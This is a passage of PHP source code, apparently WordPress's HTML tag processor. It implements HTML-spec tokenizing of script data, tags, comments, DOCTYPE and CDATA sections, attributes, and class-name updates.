			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
